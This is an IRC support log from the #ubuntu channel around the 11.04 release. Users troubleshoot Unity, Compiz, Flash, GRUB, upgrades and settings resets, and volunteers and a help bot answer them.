[17:05] <PalinBachman2012> Barridus: its not the prettiest, but it works for me
[17:05] <jw_> I partitioned off space for Ubuntu the rest is Win7
[17:05] <trijntje> How can I enable middle click emulation in natty?
[17:05] <axisys> xangua: will it autoupdate like ppa does ?
[17:05] <azoz> هااااي
[17:05] <PalinBachman2012> Barridus: to see it you need to click on the mail envelope, and then on notifications
[17:05] <mikinanuq> jw_: it's been a long time since I've used RAID but usually putting the OS on a mirror of two drives and the data on a stripe with parity worked fine. Now with drives getting so big I hear striped with parity is not that great.
[17:05] <zzecool> Barridus,  try to install adobe air and after that tweeterdeck
[17:05] <Sledge> rumpe1, (firefox-bin:2658): LIBDBUSMENU-GTK-CRITICAL **: dbusmenu_menuitem_property_set_shortcut: assertion `gtk_accelerator_valid(key, modifier)' failed
[17:05] <zzecool> it rocks for tweeter
[17:05] <rumpe1> Sledge, otherwise... well... maybe delete flash-profile? ($HOME/.adobe/...) reinstall flashplugin?
[17:05] <zzecool> maybe the best :P
[17:05] <azoz> احد يتكلم عربي
[17:06] <tensorpudding> !arabic | azoz
[17:06] <ubottu> azoz: For Arabic language support, please : /join #ubuntu-arabic : للحصول على الدعم باللغة العربية
[17:06] <greylurk_> axisys in 10.10 it has... I haven't tested in 11.04
[17:06] <xangua> axisys: i supose it adds google's repository, never used it
[17:06] <PresuntoRJ> !farsi | azoz
[17:06] <ubottu> azoz: #ubuntu-ir baraye Farsi zabanan mibashad ke channele rasmie goroohe Iran-ie ubuntu ast. #ubuntu-ir  برای فارسی زبانان می‌باشد که کانال رسمی گروه ایرانی اوبونتو است.
[17:06] <azoz> عربي
[17:06] <Barridus> zzecool, yeah but i just wanted to see if gwibber worked.  i'm getting no tweets so i guess not?
[17:06] <rumpe1> Sledge, doesn't sound like a relevant error
[17:06] <jonii2> tensorpudding: ok well its better, but the menu bars have black text on a black bar and i can't change it, and i still can't move windows by draging their bar. is there a new way to do it now?
[17:06] <axisys> greylurk_: it has ppa in 10.10 you mean? do you have the link?
[17:06] <truepurple> Someone here have experience/knowledge of ATI drivers?
[17:06] <rumpe1> Sledge, which ubuntu btw? 64bit?
[17:06] <zzecool> Barridus, didnt try it on natty
[17:06] <zzecool> dont rly know
[17:06] <Sledge> rumpe1 , yes 64bit
[17:06] <rumpe1> Sledge, ati-card?
[17:06] <Guest68448> kkal: there is some sort of file I must download through synaptic that let's my laptop communicate properly with my mp4 player. I am sorry I don't know the terminology.
[17:06] <Sledge> rumpe1 i think
[17:07] <Sledge> NVIDIA
[17:07] <axisys> xangua: ppa or the direct download from google ?
[17:07] <azoz> علموني زيكم
[17:07] <Sledge> rumpe1 whats that command to see what im running again?
[17:07] <greylurk_> axisys the deb on google's site installs the ppa too
[17:07] <azoz> عطوني وجه
[17:07] <tensorpudding> jonii2: you can't move windows by title bar?
[17:07] <PresuntoRJ> !english | azoz
[17:07] <ubottu> azoz: The #ubuntu, #kubuntu and #xubuntu channels are English only. For a complete list of channels in other languages, please visit https://wiki.ubuntu.com/IRC/ChannelList
[17:07] <Guest68448> kkal: I've downloaded and solved the problem in the past, but I just cannot remember the name of it.
[17:07] <jonii2> tensorpudding: no nothing happens
[17:07] <axisys> greylurk_: nice! then I should be set
[17:07] <rumpe1> Sledge, uname -a , lsb_release -a
[17:07] <sd> Ok, I installed latest ubuntu and I can't find workspaces - like there is only one workspace. Any ideas?
[17:07] <Chrom_> anyone using gnome classic in 11.04? the trash applet is not working (can't drag icons on it)
[17:07] <azoz> اكتب عربي
[17:07] <jonii2> tensorpudding: the buttons work but even if i right click > move it won'd move the windows
[17:07] <sd> I use Gnome
[17:07] <PalinBachman2012> jonii2: i think you might b e having probs with multiple moniters
[17:08] <zzecool> prolly azoz cant change language input
[17:08] <zzecool> lol
[17:08] <azoz> تكفون علموني
[17:08] <jonii2> PalinBachman2012: -.-
[17:08] <Sledge> rumpe1 Linux sledge-pc 2.6.38-8-generic #42-Ubuntu SMP Mon Apr 11 03:31:24 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
[17:08] <Ubuntu_user> azoz:  what that join #ubuntu-ir
[17:08] <tensorpudding> jonii2: can you move it by holding Alt and dragging?
[17:08] <Sledge> 64 bit.
[17:08] <greylurk_> the more I use unity, the better I like it.
[17:08] <jonii2> tensorpudding: nope
[17:09] <PresuntoRJ> azoz: what is an Atoni ?
[17:09] <azoz> how
[17:09] <sd> Ok, I installed latest ubuntu and I can't find workspaces - like there is only one workspace. Any ideas?
[17:09] <rumpe1> Sledge, yes... but still. Try to reinstall and / or move/delete .adobe-profile directory
[17:09] <zzecool> azoz double click it
[17:09] <bluefoxicy> crap
[17:09] <bluenemo> i love the by default choosable wallpapers for ubuntu and want those on my debian boxes as well. where can i find all of them (i dont mean just the default wallpaper but the @ install included pictures as well)
[17:09]  * greylurk_ boggles that sun-java-6 hasn't been renamed to oracle-java-6 yet, and that eclipse 3.4 is still the default install in natty
[17:09] <rumpe1> Sledge, if this doesn't work i'm also clueless :/  ... flash is a mess
[17:09] <bluefoxicy> I upgraded to 11.04 and I went from 16 virtual desktops to 4
[17:09] <bluefoxicy> what the hell?
[17:09] <zzecool> bluefoxicy,
[17:10] <zzecool> do you have compiz settings manager installed?
[17:10] <bluefoxicy> this is screwing with my spatial orientation
[17:10] <tensorpudding> bluefoxicy: were you using compiz before?
[17:10] <PalinBachman2012> bluefoxicy: install compizsettings and change your number of destops
[17:10] <Sledge> rumpe1 ok thanks
[17:10] <bluefoxicy> tensorpudding:  yeah I was using compiz, now I'm on Unity
[17:10] <cyberkilla> It's just a compiz plugin.
[17:10] <PalinBachman2012> is the compizconfig-settings-manager
[17:10] <azoz> مافيه احد يتكلم عربي
[17:10] <tensorpudding> bluefoxicy: well, unity still uses compiz, so i guess it's a bit freaky that it forgot
[17:10] <hobbsc> can someone point me to documentation on installing sun-java under 11.04?
[17:10] <bluefoxicy> tensorpudding:  oh, EVERYTHING broke on the upgrade
[17:11] <Epilog> hi there
[17:11] <scorch2> yeah
[17:11] <erealz> ok is anyone likeing the 11.04 unity desktop?
[17:11] <Sledge> so delete Flash_player DIRECTORY?
[17:11] <Epilog> I'm having a lot of problems with two new class 10 sd card
[17:11] <scorch2> fo ri"_
[17:11] <bluefoxicy> and then I tried installing gnome3 ppa to get Gnome-shell, and had to reinstall ubuntu
[17:11] <scorch2> lol
[17:11] <greylurk_> ereals It's pretty good, once you get used to it.
[17:11] <Epilog> a lot of -110 errors input/output
[17:11] <Epilog> anyone knows anything about this?
[17:11] <azoz> هااااي
[17:11] <bluefoxicy> tensorpudding:  the stupidest thing was immediately after upgrading (before trying to get gnome-shell), I couldn't open folders
[17:11] <azoz> ولكم
[17:11] <FloodBot3> azoz: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:11] <scorch2> crip a dip man
[17:11] <PalinBachman2012> that gnome shell ppa will break unity, use jhbbuild
[17:11] <bluefoxicy> anything that accessed an inode/directory opened it with vlc
[17:11] <bluefoxicy> so if I hit "Home Folder," VLC opened.
[17:11] <bluefoxicy> etc
[17:11] <axisys> greylurk_: nice! like you said after installing the google chrome the repository added google download link
[17:12] <bluefoxicy> I found in ~/.local/ blahblahblah there was a file that contained "Deleted associations" that had that
[17:12] <bluefoxicy> and it used it, even though it was a deleted association
[17:12] <greylurk_> axisys no problem.
[17:12] <jonii2> hey, ok so i disabled my other monitor and STILL i have black text on a black menu bar and STILL i can't move any windows
[17:12] <scorch2> true that
[17:12] <bluefoxicy> because it was "deleted," no interface exposed it to me; I had to find the configuration file and remove the line
[17:12] <bluefoxicy> @_@
[17:12] <zzecool> bluefoxicy,  looks like your installation is borged go with a clean install
[17:12] <scorch2> cool
[17:12] <PalinBachman2012> jonii2: you are using the restricted drivers from nvidia?
[17:12] <Sledge> rumpe1 so delete Flash_player DIRECTORY?
[17:12] <scorch2> yes
[17:12] <sda> hi all! Question, with monitor applet i can see read and write disk usage, can I see it with a terminal command? Thanks!
[17:13] <bluefoxicy> zzecool:  clean install wouldn't have fixed that; that was in my /home directory
[17:13] <jonii2> PalinBachman2012: yes
[17:13] <bluefoxicy> zzecool: so I fixed that, and then did a clean install
[17:13] <PalinBachman2012> jonii2: hmm
[17:13] <scorch2> its that
[17:13] <Sidewinder1> !farsi > azoz
[17:13] <ubottu> azoz, please see my private message
[17:13] <coreire> Hey, I'm trying to reinstall grub after installing windows. I've installed grub to the drive and it says everything went ok, but when I run "update-grub" it responds with "/usr/sbin/grub-probe: error: cannot stat `aufs'."
[17:13] <PalinBachman2012> jonii2: you might need to file a bug report...
[17:13] <bluefoxicy> zzecool:  and then found ALL MY DATA was gone and -- oh, it mounted /home subvol=@home, the heck is this?  ... modified fstab and got all my files back.
[17:13] <rumpe1> Sledge, flash-player-config-directory in your home... or just move it somewhere else
[17:13] <jonii2> PalinBachman2012:  ok so its just this theme that is broken, other themes work ok, but still i can't move windows
[17:13] <zzecool> clean install = back up home dir and then formated + install
[17:13] <jonii2> PalinBachman2012: ugh
[17:13] <scorch2> triping daisys
[17:13] <zzecool> format it *
[17:13] <bluefoxicy> zzecool:  I have 500 gigs in /home, what the hell do I back up to?
[17:13] <PalinBachman2012> jonii2: did you upgrade, or do a fresh install?
[17:14] <tensorpudding> jonii2: which theme are you using anyway
[17:14] <jonii2> PalinBachman2012: I upgraded
[17:14] <zzecool> an external drive
[17:14] <bluefoxicy> zzecool:  it's on a separate partition, as well.
[17:14] <zzecool> can help you on this
[17:14] <kasper> I want to add Evernote and URT to the Unity menu. Somehow I dont see how to do it :( can anyone help ?
[17:14] <zzecool> i know
[17:14]  * bluefoxicy doesn't have a $100 external drive
[17:14] <bluefoxicy> anyway
[17:14] <scorch2> h
[17:14] <jonii2> tensorpudding: Well i'm using the Ubuntu studio theme but i can switch to other ones and the text looks ok, but nothing fixes my frozen windows
[17:14] <kkal> Guest68448: gnokii?
[17:14] <zzecool> home partition keep many configurations that can borg aninstallation
[17:14] <PalinBachman2012> jonii2: you might try creating a new user, logging out completly, and logging in as him
[17:14] <bluefoxicy> I danced around the issue, it works now, other than Unity being not total crap, but not great.
[17:14] <tensorpudding> jonii2: did alt+dragging not move them?
[17:14] <jonii2> tensorpudding: nope that did nothing
[17:15] <jonii2> tensorpudding: alt doesn't do anything at all
[17:15] <zzecool> bluefoxicy, i think that you gonna love it in time
[17:15] <zzecool> :D
[17:15] <zzecool> i did
[17:15] <katsrc> hey all
[17:15] <tensorpudding> jonii2: does the mouse work?
[17:15] <zzecool> learn the shortcuts
[17:15] <bluefoxicy> zzecool:  no, I didn't love it in the 90s and I don't love it now.
[17:15] <greylurk_> The only thing I'm not liking about Unity is placing the system preferences under the shutdown icon.
[17:15] <jonii2> tensorpudding: yep the mouse works, it works the same with/without alt
[17:15] <zzecool> 90's ? unity?
[17:15] <Guest68448> kkal: can't remember but I'll try it
[17:15] <Sledge> rumpe1 how do i liset hidden files and folders
[17:15] <KNUBBIG> greylurk_: so ture
[17:15] <katsrc> do i have to specify: export CFLAGS=“-march=native” in order to get 64bit builds?
[17:16] <KNUBBIG> true*
[17:16] <kasper> Is there some admin for the Unity menu ?
[17:16] <bluefoxicy> zzecool: replace the Ubuntu icon in the top left with a black and white Apple icon
[17:16] <tensorpudding> jonii2: that's really weird
[17:16] <bluefoxicy> zzecool:  welcome to MacOS6
[17:16] <katsrc> or is there a configuration some where that already does that?
[17:16] <jonii2> tensorpudding: linux is soooo confusing
[17:16] <zzecool> erm
[17:16] <axisys> is there a way to put the unity menu on the bottom instead of on the left side?
[17:16] <Cleaver> Im trying to install teamspeak3 from a run script, after some text, and this dialog comes up promting me to press end, how do i do that? Enter doesnt work, end doesnt, e doesnt. Ect. What do I do?
[17:16] <PalinBachman2012> jonii2: it can be when things go wrong, like in an upgrade
[17:16] <bluefoxicy> who decided that menus belong at the top of the screen, instead of the top of the window
[17:16] <zzecool> bluefoxicy,  you can still use ubuntu classic
[17:17] <zzecool> and have the gnome 2 look
[17:17] <KNUBBIG> Cleaver: did you download it from the official site? Client or server?
[17:17] <Guest68448> kkal: I'm not sure this is the right one but yes it is this sort of program
[17:17] <jonii2> PalinBachman2012: i suppose that was a bad idea, to upgrade
[17:17] <Cleaver> Client, and yes
[17:17] <Cleaver> Its just me not being able to get any further
[17:17] <Sledge> rumpe1 im in /home/name/.adobe
[17:17] <Cleaver> Simple matter of me not knowing what to press :|
[17:17] <tensorpudding> jonii2: here's a debugging thing, try opening a terminal and doing 'mv ~/.config ~/.config-backup'
[17:17] <tensorpudding> jonii2: then log out and log back in
[17:17] <pr3d4t0r> Hello.
[17:17] <bluefoxicy> zzecool:  I know.  I'm toying with Unity so that when Gnome3 is available and I switch to Gnome shell I can claim I've used Unity extensively.  The initial shock is wayning.  I've toyed with gnome-shell though.
[17:17] <kasper> did anyone have trouble adding shourtcuts to the Unity menu ?
[17:17] <KNUBBIG> Cleaver: no need to install, just ./ts*****_runscript start (don't remember the exact name)
[17:18] <KNUBBIG> Cleaver: or was it _startscript? NO idea, sorry :p
[17:18] <tensorpudding> what does unity have to do with mac os 6?
[17:18] <scorch2> !language xangua
[17:18] <kasper> is there a cahnnel for Unity ?
[17:18] <jonii2> tensorpudding: ok, relogging
[17:18] <Cleaver> File called TeamSpeak3-Client-linux_amd64-3.0.0-beta36.run
[17:18] <raven_> need any codeline for: if filetype = image ending=getfileending then do......
[17:18] <KNUBBIG> Cleaver: no, you whould have a ts3client_startscript or sth like that
[17:18] <iceroot> raven_: #bash
[17:19] <KNUBBIG> Cleaver: just download .tar.gz, extract it and start the starscript with the "start" argument
[17:19] <ubuntu> cant boot into 11.04, blank screen???
[17:19] <OY1R> when booting the laptop stops and poses a grub_ prompt. can anyone help me fix it ?
[17:19] <zzecool> bluefoxicy,  go here http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html and read
[17:19] <zzecool> bluefoxicy,  there is even a way to remove the global menu
[17:20] <zzecool> enough said
[17:21] <jaypro> ridiculous... any computer name i type in the ubuntu 11.04 desktop installation it says the name is already on the network, and i cant proceed
[17:21] <hypetech> jaypro: just continue filling in the fields and it will change
[17:21] <warp_> any ideas?
[17:21] <coreire> Hey, I'm trying to reinstall grub after installing windows. I've installed grub to the drive and it says everything went ok, but when I run "update-grub" it responds with "/usr/sbin/grub-probe: error: cannot stat `aufs'." Anyone know what'd cause that?
[17:22] <djazz> hmm, blueman doesnt seem to work with the "new" panel
[17:22] <tensorpudding> oh damn, that was a bad idea
[17:22] <NUSHOR> I don't like unity at all
[17:22] <wildc4rd> afternoon all
[17:22] <tensorpudding> i think having jonii move the .config might prevent him from connecting to irc...
[17:22] <Cleaver> thanks :)
[17:22] <jaypro> lol... okay user error.. thanks hypetech
[17:22] <Oday> is there a good query builder that you know of?
[17:22] <ubuntu_> cannot boot into 11.04, just blank screen
[17:23] <Oday> on Software Center nothing shows up
[17:23] <Sledge> Doesanyone have any experience installing flashplayer.SO file
[17:23] <PalinBachman2012> tensorpudding: \0/
[17:23]  * Dr_Willis wonders what a Query BUilder does.
[17:23] <KM0201> ubuntu_: so how are you here now?
[17:23] <Dr_Willis> Sledge:  why not use the flash package?
[17:23] <xangua> Sledge: sudo apt-get install flashplugin-nonfree
[17:23] <KM0201> Dr_Willis: why it builds querry's of course. :)
[17:23] <NUSHOR> That one
[17:23] <warp_> any ideas on how to resume a broken version upgrade process?
[17:23] <Dr_Willis> KM0201:  I want one in plaid!
[17:23] <KM0201> Dr_Willis: :)
[17:23] <Sledge> xangua this is 64bit
[17:24] <awesomechairs> warp_, sudo spkg --reconfigure-a
[17:24] <awesomechairs> should work
[17:24] <NUSHOR> Sledge still works :-P
[17:24] <awesomechairs> *dpkg, sorry
[17:24] <xangua> !google flash 64 ppa
[17:24] <ubottu> I have no google command, use http://www.google.com/
[17:24] <xangua> Sledge: try the 64bit plugin ppa
[17:24] <Guest68448> kkal: no, that didn't work. However, in the mp4 player I could finally see the avi file. But, unfortunately I got the message it was an unsupported file. This has something to do with communication between Ubuntu and the mp4 player.
[17:24] <mikinanuq> warp_: why would you want to? if an upgrade craps out I'd reinstall and dump the upgrade
[17:24] <Antilect> http://www.youtube.com/watch?v=JB7jSFeVz1U&feature=player_embedded#at=20
[17:24] <coder2> i want to pack all the packages installed in my machine......ubuntu lucid???
[17:24] <Guest51304> guys i installed gnome shell 3 now the thing is i can't see the gnome bluetooth icon on the panel how can i bring it back
[17:24] <Dr_Willis> !aptoncd | coder2
[17:24] <ubottu> coder2: APTonCD is a tool with a graphical interface which allows you to create one or more CDs or DVDs with all of the packages you've downloaded via apt-get or aptitude, creating a removable repository that you can use on other computers - See also !offline
[17:24] <Sledge> rumpe1,  you still here?
[17:24] <pr3d4t0r> Q. Ubuntu Server Dapper Drake - over the last 6 months one of the NICs on the gateway started requiring continuous restarts (modprobe -r).  The gateway has been on-line, non-stop since Jan 2007.  I suspect NIC hardware failure.  Planning to upgrade the server today and replace NIC.  Do you have any suggestions for troubleshooting if NIC is all that's screwy in the machine?
[17:25] <pr3d4t0r> Thanks in advance.
[17:25] <xangua> !gnome3 | Guest51304
[17:25] <ubottu> Guest51304: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[17:25] <warp_> thanks awesomechairs
[17:25] <awesomechairs> np :)
[17:25] <warp_> i will try that...\
[17:25] <KNUBBIG> Guest51304: you may have to ask on the Gnome IRC, google for it (sorry don't know the exact channel/network, should be irc.gnome.org)
[17:25] <Dr_Willis> pr3d4t0r:  dapper? i think its time to upgrade.  sounds like HW issues to me also.
[17:25] <coder2> Dr_Willis: any other option
[17:25] <pr3d4t0r> Dr_Willis: Yeah.
[17:25] <Dr_Willis> coder2:  clarify what you want to do exactly
[17:26] <awesomechairs> wait no, dpkg --configure-a, not reconfigure
[17:26] <awesomechairs> my mistake
[17:26] <yehudah> help
[17:26] <Dr_Willis> pr3d4t0r:  given how easy it is to swap out a NIC. :)  in the time to trouble shoot. you could have it done 10 times.
[17:26] <pr3d4t0r> Dr_Willis: There is also another odd behavior:  every Saturday at around 2000 PDT / PST, the server stops.  It isn't always at the same exact time, though, and at and cron look clean.
[17:26] <Omega> !question | yehudah
[17:26] <ubottu> yehudah: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[17:26] <pr3d4t0r> Dr_Willis: Heh - indeed.
[17:26] <pr3d4t0r> Dr_Willis: The thing is - the server is at my home in San Francisco and I live in Moscow now :)
[17:27] <pr3d4t0r> Dr_Willis: So I'm cramming that today, before I head back on Wednesday ;)
[17:27] <Acriax> http://imgur.com/P47aa <- Does anyone know why I get this light grey theme? For about 10 seconds after I login I have the standard dark theme, but then it switches over to this :(
[17:27] <coder2> Dr_Willis: i have 10.04 and want to upgrade to 11.04 or can format my laptop and install it,actually i dont have a good internet connection....so all my installed packages will be lost if i format my drive
[17:27] <Dr_Willis> pr3d4t0r:  somthing seems logically wrong. :) Your Home is in San Franscido.. but you dont live at home? :)
[17:27] <pr3d4t0r> Dr_Willis: Right.  Long story :)
[17:27] <pr3d4t0r> Dr_Willis: Or rather, I'm lucky to have two homes :)
[17:27] <axisys> when I try to run a video in metacafe using google chrome it just says missing link.. anyone knows the fix?
[17:27] <Guest68448> 11.04 isn't communicatiing properly with my external mp4 player. Any ideas?
[17:28] <Dr_Willis> coder2:  i would suggest a clean install and you dont backup your package files to 11.04 you reinstall the ones you have installed.
[17:28] <OY1R> after getting this error > http://pastebin.com/i2ZahWqH (mount /dev on /root failed invalid argument), i was told to reinstall grub, now when i reboot i only get a grub prompt_ anyone ? using ubuntu 10.10.
[17:28] <Dr_Willis> !clone | coder2
[17:28] <ubottu> coder2: To replicate your packages selection on another machine (or restore it if re-installing), you can type « aptitude  --display-format '%p' search '?installed!?automatic' > ~/my-packages », move the file "my-packages" to the other machine, and there type « sudo xargs aptitude --schedule-only install < my-packages ; sudo aptitude install » - See also !automate
[17:28] <zarbula> Ubuntu, I upgraded to 11.04 from 10.10, running a custom 2.39 kernel and the Nvidia beta.  After I allowed the upgrade I am getting the Nvidia API error.  Should I recompile my custom Kernel again?
[17:28] <pr3d4t0r> Dr_Willis: Another question:  Ubuntu installation is so old that I can't just apt-get upgrade.
[17:28] <tensorpudding> jonii2: sorry
[17:28] <jonii2> tensorpudding: hmm?
[17:28] <jonii2> tensorpudding: i just got back lol
[17:28] <pod88> hi all, quick question, does anyone know how to make wobbly windows not wobble when focus changes?
[17:28] <zarbula> 2.6.39*
[17:28] <Dr_Willis> pr3d4t0r:  you can if you elable the archive servers. I forget the names of them. BUt that old an install.. i would do a clean install
[17:28] <pr3d4t0r> Dr_Willis: Is it *possible* for me to force an upgrade to 10.04 LTS or newer by "wiping out" the current Ubuntu config?
[17:28] <tensorpudding> jonii2: i didn't mention that doing that would restore your configuration to default
[17:29] <tensorpudding> jonii2: but did it solve the issues?
[17:29] <Dr_Willis> pr3d4t0r:  you enable the right repos and you can still upgrade i think. but i dont recall how
[17:29] <Dr_Willis> !eol
[17:29] <jonii2> tensorpudding: well i did your command and it didn't fix anything, but my configurations weren't changed much from default
[17:29] <ubottu> End-Of-Life is the time when security updates and support for an Ubuntu release stop, see https://wiki.ubuntu.com/Releases for more information. Looking to upgrade from an EOL release? See https://help.ubuntu.com/community/EOLUpgrades
[17:29] <jonii2> tensorpudding: but when i made a new account it works fine
[17:29] <pr3d4t0r> Dr_Willis: Or should I just backup the service and user accounts, and install from CD?
[17:29] <tensorpudding> jonii2: huh
[17:29] <jonii2> tensorpudding: maybe i typed in your command wrong or something
[17:29] <pr3d4t0r> Dr_Willis: Yeah, I heard that but I screwed up the repo trying to do that about 18 months ago.
[17:29] <Dr_Willis> pr3d4t0r:  given that a upgrade will take forever... and may fail.
[17:29] <tensorpudding> jonii2: would seem to imply that it's some configuration somewhere else
[17:29] <sda> hi all! Question, with monitor applet i can see read and write disk usage, can I see it with a terminal command? Thanks!
[17:29] <Dr_Willis> pr3d4t0r:  i would keep /home/ and do a clean install
[17:30] <PalinBachman2012> jonii2: so its a configuration issue of some sort, held over from your previous installs and tweaks
[17:30] <pr3d4t0r> Dr_Willis: OKi - I'll just back the beast up.  Thanks :)
[17:30] <iceroot> sda: iotop
[17:30] <tensorpudding> jonii2: if you want to keep your old account but wipe out all your configuration, you could obliterate the ~/.config and ~/.local directories
[17:30] <jonii2> :( oh well i guess i'll just make a new account thats NOT named testing :D and use that, as long as it works
[17:30] <axisys> i cannot install metacafe video from ff either.. missing plugin
[17:30] <pr3d4t0r> Dr_Willis: I'm keeping /home, /etc (for reference) and /var/lib/named for the gateway.  Everything else I don't care.
[17:30] <pr3d4t0r> Dr_Willis: Thanks for your help.
[17:30] <jonii2> tensorpudding: ok i'll try that, how do i delete  them?
[17:30] <pr3d4t0r> Dr_Willis: Oh, and I'll buy a new NIC :)
[17:30] <pr3d4t0r> Dr_Willis: I appreciate your help :)
[17:30] <axisys> any pkg that will intsall all the plugins? or a list of pkgs?
[17:30] <Dr_Willis> pr3d4t0r:  get 3 :)
[17:30] <pr3d4t0r> Dr_Willis: 3...?
[17:30] <sda> iceroot, iotop isn't installed! how system monitor can see io use?
[17:30] <PalinBachman2012> jonii2: so you can move your windows, and your theme looks fine now?
[17:30] <tensorpudding> jonii2: you could go and open the file manager, and show hidden files, they appear under you home directory as .config and .local
[17:31] <pr3d4t0r> Dr_Willis: Oh, for swapping - heh.
[17:31] <Dr_Willis> pr3d4t0r:  moar is better. :)
[17:31] <pr3d4t0r> Dr_Willis: Heh.
[17:31] <Hotmedal> what is this largedesktop in unity that won't let me enable desktop cube?
[17:31] <jonii2> PalinBachman2012: I can move my windows on a new user account, and my theme looks.... terribly designed but thats not your guyses fault
[17:31] <coreire> I'm installing grub from the 11.04 live-cd using this https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows. When I install grub it says it went ok, but no grub.cfg is created. If I run "sudo update-grub" I get the error "/usr/sbin/grub-probe: error: cannot stat `aufs'"
[17:31] <Dr_Willis> Hotmedal:  some extra plugins used by Unity i imagine. Cube can break unity i think. Or so i notices on the askubuntu web site
[17:31] <PalinBachman2012> jonii2: lol
[17:31]  * Dr_Willis hopes unity kills the cube
[17:32] <Hotmedal> Unity looks boring
[17:32] <warp_> awesomechairs: that didnt work!
[17:32] <zarbula> If I'm running a custom kernel and I did the 11.04 upgrade should I recompile my kernel or is it ok?
[17:32] <jonii2> tensorpudding: ok, i did that, ima relog
[17:32] <Hotmedal> how can I switch to normal Gnome
[17:32] <tensorpudding> jonii2: unfortunately most gnome themes don't work so well with unity
[17:32] <Hotmedal> ?
[17:32] <tensorpudding> jonii2: before you do
[17:32] <jonii2> ok
[17:32] <tensorpudding> jonii2: forgot to mention you might need to get rid of .gconf
[17:32] <pr3d4t0r> Dr_Willis: This is a Tynan/Rackable enterprise server with dual AMD64s.  I don't want to toss it for no reason.  Though I'm thinking it may be faster to just get a new server to replace it and put LTS on it.  Then migrate instead of rebuild.  Then wipe the old one and sell it on Craig's List :)
[17:32] <jonii2> tensorpudding: ok i'll get rid of that one to
[17:32] <xangua> http://feedproxy.google.com/~r/d0od/~3/bB9sFMlHRdw/ Dr_Willis Hotmedal
[17:33] <theclaw> hi
[17:33] <warp_> how can I upgrade from Ubuntu install CD?
[17:33] <xangua> enable cube from omg!ubuntu! *
[17:33] <jonii2> tensorpudding: what about gconfd?
[17:33] <pr3d4t0r> Dr_Willis: Which Ubuntu Server should I use?  10.04 LTS or the newer one and just try to stay current with the upgrades?
[17:33] <mikinanuq> Hotmedal Dr_Willis yes the cube kills Unity... confirmed :)
[17:33] <pod88> Hotmedal, at logon choose ubuntu classic
[17:33] <Dr_Willis> http://askubuntu.com/questions/38432/how-to-get-compiz-cube-effect-to-work
[17:33] <tensorpudding> jonii2: i think that's just shared files, not configuration, so it probably isn't a problem?
[17:33] <tensorpudding> jonii2: but you can wipe it too
[17:33] <xangua> warp_: if you use maverik, it will ask you if you want to upgrade
[17:33] <Dr_Willis> askubuntu - is going to be so handy. :)
[17:33] <Hotmedal> ohh
[17:33] <ShiverOnBT4> Hello, anyone awake?
[17:33] <Hotmedal> nice
[17:33] <jonii2> tensorpudding: alright thanks, relogging
[17:33] <KM0201> warp_: from the ubuntu install cd?.. i don't think you can, you have to use the alt. cd
[17:33] <kk9822> hi
[17:33] <tomasz> czeka
[17:34] <kk9822> what is ver for laptops
[17:34] <kk9822> ie ubuntu 11,04
[17:34] <Dr_Willis> the normal desktop cd  is for laptops and netbooks and desktop machines.
[17:34] <besogon> Hi. Does Eee-control work?
[17:34] <warp_> xangua: I use Maverick, but laptop crashes in the middle of the upgrade process
[17:34] <headnotfound> hey there
[17:34] <uninspired> My question does not contain any unity bashing, i would really like to give it a try -- but am failing to get it setup as i would like. I have a dual monitor setup, an external screen hooked up to a laptop. I set the external screen as primary display hoping it would show the dock on there but that unfortunately did not work. The global menu does show up on both screens, does anyone have any suggestions ? ( i did set the external
[17:34] <Dr_Willis> the alt-cd is for problem machines, low ram, or other special cases
[17:34] <Guest68448> Hello, I cannot play files on my mp4 player when I've transferred them from Ubuntu. However, they work fine when transferred from Windoze.
[17:34] <crlcan81> Somehow I hit a command in xchat IRC client which made it go 'fullscreen' where there's no top bar/menu, unless I go to another program. What is the keyboard command for that?
[17:34] <mikinanuq> kk9822: the regular ubuntu is for laptops there is a netbook version which is for small screen laptops "netbooks"
[17:34] <ShiverOnBT4> Got a question. Is there any way to password protect an open console so it wont be closed by accident?
[17:34] <headnotfound> anyone using gnome3?
[17:34] <kk9822> is it 32 bit or sixty four
[17:34] <yehudah> cannot boot into 11.04 just hanging on blank screen
[17:34] <Dr_Willis> uninspired:  unity has issues with dual monitors it seems. Ive not tried that part yet.
[17:35] <Dr_Willis> uninspired:  i do recall some months back when i was messing with Global menu. there being some settings for it.. somewhere.
[17:35] <xangua> !gnome3 | headnotfound
[17:35] <ubottu> headnotfound: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[17:35] <uninspired> Dr_Willis: thank you, it's a bit inconvenient to go from the "main screen" to the "secondary" to open up applications.
[17:35] <Dr_Willis> but really. i dont care for global many. :)  so did not reserach it much.
[17:36] <Pelo> OMG, it burns, how do i get back to vanilla gnome ?
[17:36] <Guest68448> yehudah: I had the same problem and found the solution on google. It was something about changing a setting in the first screen
[17:36] <tensorpudding> ShiverOnBT4: open console as in a terminal emulator or one of the system consoles?
[17:36] <besogon> Unity is the best
[17:36] <Dr_Willis> uninspired:  you could reorder your mionitors i guess.
[17:36] <besogon> :)
[17:36] <uninspired> Dr_Willis: the only settings i can find are wether to unfold the dock when hovering the mouse on the left or left angle.
[17:36] <mikinanuq> ShiverOnBT4: try using "screen" even if the window is closed the console is open in the background..
[17:36] <Dr_Willis> Unity - 'warning men at work' :)
[17:36] <yehudah> which first screen?
[17:36] <Guest68448> yehuda: gimme a sec to see if I can find the link for you
[17:36] <terrylm> X, screen goes gray, mouse still works, everything apparently still works, just can not be seen.  Ideas?  9.04 and 10.x
[17:36] <besogon> ubottu:  funcontrol
[17:37] <headnotfound> ok, thanks
[17:37] <jonii2> tensorpudding: your my new best friend ever! you fixed it!
[17:37] <uninspired> Dr_Willis: reorder meaning?
[17:37] <kk9822> hi pl confirm i should opt for thrity two or sixyfour
[17:37] <kk9822> pl
[17:37] <tensorpudding> jonii2: i guess :)
[17:37] <jonii2> tensorpudding: still, terrible black on black menu bar but thats studio's fault not yours
